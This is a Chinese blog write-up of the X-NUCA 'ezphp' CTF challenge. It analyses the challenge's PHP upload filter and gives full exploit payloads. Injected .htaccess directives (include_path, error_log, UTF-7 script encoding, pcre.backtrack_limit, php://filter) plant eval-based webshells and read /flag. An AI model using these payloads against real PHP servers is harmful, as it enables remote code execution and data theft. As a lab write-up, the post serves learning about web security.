美文网首页
xnuca-ezphp记录

xnuca-ezphp记录

作者: Err0rzz | 来源:发表于2019-09-25 22:01 被阅读0次

又到了看别人wp复现的时候了。

https://www.cnblogs.com/wfzWebSecuity/p/11439994.html
https://xz.aliyun.com/t/6101
https://www.anquanke.com/post/id/185377

两篇预期,一篇非预期,都让我收获颇多。

分析问题

<?php
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

观察源码,分析一下做了哪些防护:

  • 会在程序开始和结束的时候删除当前目录下除了index.php的所有文件
 foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
  • 文件内容不能包含on_html_type_flag_upload_file
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
  • 文件名只能由字母和.构成
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
  • 文件内容最后会加上一行Just one chance
file_put_contents($filename, $content . "\nJust one chance");
  • 代码中并没有解析点

找利用点

  • 首先,php解析的问题,可以通过 .htaccess或者.user.ini来解决,具体可以看https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
    https://xz.aliyun.com/t/3937
    但是文件内容过滤掉了file,所以.user.ini无法使用auto_append_fileauto_prepend_file去解析木马。
  • 考虑一下.htaccess,但是因为.htaccess容错低,所以代码中加入的Just one chance会使得代码报错无法执行。因为.htaccess的注释是在行头加#,所以可以通过加\#,其中\表示换行,#表示注释,来注释掉添加的那句话。
  • 接下来的问题变成了木马文件往哪里写的问题了。当前目录下是没法写了,而且源码中有个很有意思的代码:
    include_once("fl3g.php");
    
    再去翻翻php.ini配置选项列表,查看所有可操作项为PHP_INI_ALL的配置项 可以发现有这么一个选项: 这个配置项代表着用户可以自己定义include的目录,换句话说,只要修改了include_path就可以去包含任意目录下的fl3g.php。那我们就可以往/tmp目录下去写一个fl3g.php
  • 解决了往哪里写的问题,接下来考虑一下怎么写的问题。考虑用log功能去实现代码的输出,查找所有php log相关的功能可以看到error_log这一选项 这一配置项可以指定log输出的目录。所以思路逐渐清晰,我们可以通过include_path一个不存在的目录,将错误信息输出到/tmp/fl3g.php里,当然,log_errors的值要设为不为0来开启错误信息。

开始利用

先写木马,.htaccess文件如下:

php_value include_path <?phpinfo();?>
php_value log_errors 1
php_value error_log /tmp/fl3g.php # \

构造的payload如下:

index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log  /tmp/fl3g.php%0d%0a%23 \

访问 index.php之后,发现多了个.htaccess文件


再次访问index.php,发现/tmp下多了个fl3g.php 但是如图所示,<htmlentities转义了,这是因为error_log内容默认就是转义。
参考最近的比赛Insomnihack 2019 I33t-hoster的WP,可以知道我们可以通过utf7编码来绕转义。 结合配置项zend.multibytezend.script_encoding 构造出payload:+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+Ads
到目前为止,基本上所有的问题都解决了,接下来就可以进行攻击了。

payload

  • 第一次访问index.php,目的是写入.htaccess
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php # \
/index.php?filename=.htaccess&content=php_value+include_path+%22/tmp/xx/%2bADw?php+die(eval($_GET[2]))%2bADs+%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0d%0a%0d%0aphp_value+error_reporting+32767%0d%0aphp_value+error_log+/tmp/fl3g.php%0d%0a%0d%0a%23+\\
  • 第二次访问index.php,目的是触发.htaccess,将.htaccess中的payload写道/tmp/fl3g.php中。
  • 第三次重新写.htaccess,目的是更改include_path,去include /tmp目录下的fl3g.php,并且使用utf7编码去解析。
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp" # \
/index.php?filename=.htaccess&content=php_value+zend.multibyte+1%0d%0aphp_value+zend.script_encoding+"UTF-7"%0d%0aphp_value+include_path+"/tmp"%0d%0a%23+\\
  • 第四次访问/?2=var_dump(file_get_contents('/flag'));即可

总结

这道题用到了以下几个trick:

  • error_log结合log_errors自定义错误日志
  • include_path带入payload
  • include_path更改包含路径
  • php_value zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤
  • # \ 绕过just one chance

非预期

1.正则匹配时:
if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

php_value pcre.backtrack_limit    0
php_value auto_append_file    ".htaccess"
php_value pcre.jit   0
#aa<?php eval($_GET['a']);?>\

令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr函数,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了,这里还学到了p牛的一篇文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list
2.非预期2
因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过# \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess
比如

php_value auto_prepend_fi\
le ".htaccess

相关文章

  • xnuca-ezphp记录

    又到了看别人wp复现的时候了。 https://www.cnblogs.com/wfzWebSecuity/p/1...

  • 记录记录再记录

    先发个标题 明天再补上

  • DNS服务记录类型

    DNS记录类型包含:A记录、AAAA记录、CNAME记录、MX记录、NS记录、TXT记录、SRV记录、URL转发。...

  • 记录,记录

    今天是3月18日,我上网搜了一下,历史上的今天发生了很多事,觉得非常不可思议。 有两个事件大家应该都能比较熟悉:第...

  • 记录,记录

    2020.03.12 今天这个日子总觉得需要留下点什么。 今天BTC最低触至5200u,不行,暂停一下,先把交易所...

  • 记录记录

    时间好快,公休瞬间结束!这个公休我经历了什么?感觉就没有休息。 这段时间确实经历了很多。有家事,有其他事...

  • 记录没有记录的记录

    昨夜 凝望息屏的手机 如同熟睡的恋人 盼她醒以拥抱,却又不忍惊扰 “砰,砰,砰” 雨骑在风的肩上 兴冲冲地拍着窗门...

  • 初心

    创作,为了记录,记录生活,记录心情,记录回忆……

  • 至情至性的散文

    特别渴望写出至情至性的散文。 ——记录青春、记录梦想、记录人生感悟、记录成长历程、记录心灵之旅、记录亲情、记录迷茫...

  • 几种域名解析方式

    主要有A记录、MX记录、CNAME记录、NS记录、TXT记录 A记录A代表Address,用于指定域名对应的IP,...

网友评论

      本文标题:xnuca-ezphp记录

      本文链接:https://www.haomeiwen.com/subject/mzjuuctx.html